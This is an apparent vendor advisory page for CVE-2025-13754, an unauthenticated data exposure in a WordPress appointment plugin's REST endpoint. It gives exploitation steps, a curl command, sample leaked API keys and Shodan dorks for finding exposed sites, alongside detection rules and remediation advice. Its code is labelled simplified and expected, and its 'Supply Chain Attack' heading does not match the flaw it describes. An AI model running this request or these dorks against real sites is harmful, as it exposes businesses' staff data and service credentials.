☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Simply schedule appointments logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 5.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N 🐛 CWE-200
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-13754

CVE-2025-13754 Supply Chain Attack in Simply schedule appointments
📅 PUBLISHED: 2025-12-19 06:48 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.08%
👁️
0.08% probability
2.0× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1213
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Global License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 5.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: L Confidentiality Low
I: N Integrity None
A: N Availability None
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-13754 is a Sensitive Information Exposure vulnerability in the Appointment Booking Calendar — Simply Schedule Appointments Booking Plugin for WordPress. The flaw resides in the plugin's REST API endpoint /wp-json/ssa/v1/embed-inner-admin, which exposes sensitive configuration data—including staff names, business names, and potentially API keys for external services—without requiring authentication. This allows any unauthenticated attacker to extract private business configuration data. The vulnerability affects all versions up to and including 1.6.9.16. As a WordPress plugin issue, this is a direct vulnerability in the plugin's code, not in the underlying web server (Apache/Nginx).

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This is a WordPress plugin, not an NPM, PyPI, Go, or Ruby package. However, the plugin is distributed via the WordPress plugin repository and may be included in managed WordPress hosting environments. The lack of a patch increases supply chain risk for sites using this plugin.

CVSS Breakdown & Threat Level

  • CVSS Score: 5.3 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: Low (exposure of configuration data, not full system compromise)
  • Integrity Impact: None
  • Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the exposure of API keys (in premium versions) could lead to lateral movement or data breaches.

Deep Dive & Mechanics

The vulnerability is due to the plugin's REST API endpoint /wp-json/ssa/v1/embed-inner-admin being registered without proper permission checks. In WordPress, REST API routes are defined using register_rest_route(). The plugin likely omitted the permission_callback parameter or set it to __return_true, allowing unauthenticated access.

The endpoint returns a JSON response containing the plugin's internal settings, including:

  • Staff names and email addresses
  • Business name and address
  • Booking configuration (time slots, durations, etc.)
  • In premium versions: API keys for external services (e.g., Google Calendar, Zoom, Stripe)

The data is intended for the admin embed interface but is exposed to anyone who sends a GET request to the endpoint.

Vulnerable vs. Patched Code

Vulnerable Code (simplified example):

register_rest_route( 'ssa/v1', '/embed-inner-admin', array(
    'methods' => 'GET',
    'callback' => 'ssa_get_embed_inner_admin',
    // Missing permission_callback
) );

Patched Code (expected fix):

register_rest_route( 'ssa/v1', '/embed-inner-admin', array(
    'methods' => 'GET',
    'callback' => 'ssa_get_embed_inner_admin',
    'permission_callback' => function() {
        return current_user_can( 'manage_options' );
    }
) );

The patch adds a permission_callback that checks for the manage_options capability, ensuring only administrators can access the endpoint.

Exploitation & Lab Setup

Red Team

Exploitation Steps:

  1. Identify a WordPress site using the Simply Schedule Appointments plugin (version <= 1.6.9.16).
  2. Send a GET request to the vulnerable endpoint:
    GET /wp-json/ssa/v1/embed-inner-admin HTTP/1.1
    Host: target-site.com
    
  3. Parse the JSON response to extract sensitive data.

Example cURL command:

curl -s "https://target-site.com/wp-json/ssa/v1/embed-inner-admin" | jq .

Expected output (truncated):

{
  "staff": [
    {"name": "John Doe", "email": "john@example.com"}
  ],
  "business_name": "Example Business",
  "api_keys": {
    "google_calendar": "AIzaSy...",
    "stripe": "sk_live_..."
  }
}

Blue Team

Detection Steps:

  1. Monitor web server logs for requests to /wp-json/ssa/v1/embed-inner-admin from IPs that are not admin users.
  2. Check for unusual spikes in API calls to this endpoint.
  3. Verify that the plugin is updated to a patched version (if available).

Honeypot Setup:

  • Deploy a fake WordPress site with the vulnerable plugin and monitor for exploitation attempts.
  • Log all requests to the endpoint and analyze attacker IPs.

Indicators of Compromise (IOCs)

  • URL Pattern: /wp-json/ssa/v1/embed-inner-admin
  • HTTP Method: GET
  • Response Content-Type: application/json
  • Response Data: Contains fields like staff, business_name, api_keys, settings
  • Attacker Behavior: Repeated requests to the endpoint from the same IP, possibly with automated tools (e.g., curl, wget, Python scripts)

Detection Engineering

YARA Rule

rule Detect_SSA_Embed_Admin_Exposure {
    meta:
        description = "Detects requests to the vulnerable Simply Schedule Appointments embed-inner-admin endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-13754"
    strings:
        $endpoint = "/wp-json/ssa/v1/embed-inner-admin"
        $json_response = /"staff":\s*\[/
    condition:
        $endpoint or $json_response
}

Sigma Rule

title: Detection of CVE-2025-13754 Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests to the vulnerable Simply Schedule Appointments endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-stem: "/wp-json/ssa/v1/embed-inner-admin"
    condition: selection
falsepositives:
    - Legitimate admin access (rare, as admins typically use the admin UI)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-13754 - Simply Schedule Appointments Sensitive Info Exposure"; flow:to_server; content:"/wp-json/ssa/v1/embed-inner-admin"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is available.
  2. Block access to the vulnerable endpoint using a web application firewall (WAF) or .htaccess:
    RewriteEngine On
    RewriteCond %{REQUEST_URI} ^/wp-json/ssa/v1/embed-inner-admin [NC]
    RewriteRule .* - [F,L]
    
  3. Rotate any exposed API keys (if premium version was used).

Long-term Fix:

  • Apply the vendor patch when released (add permission_callback to the REST route).
  • Monitor the plugin's changelog for updates.

Workaround:

  • Use a WordPress security plugin (e.g., Wordfence) to add custom firewall rules blocking the endpoint.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Simply Schedule Appointments"
http.html:"/wp-json/ssa/v1/embed-inner-admin"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-13754/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.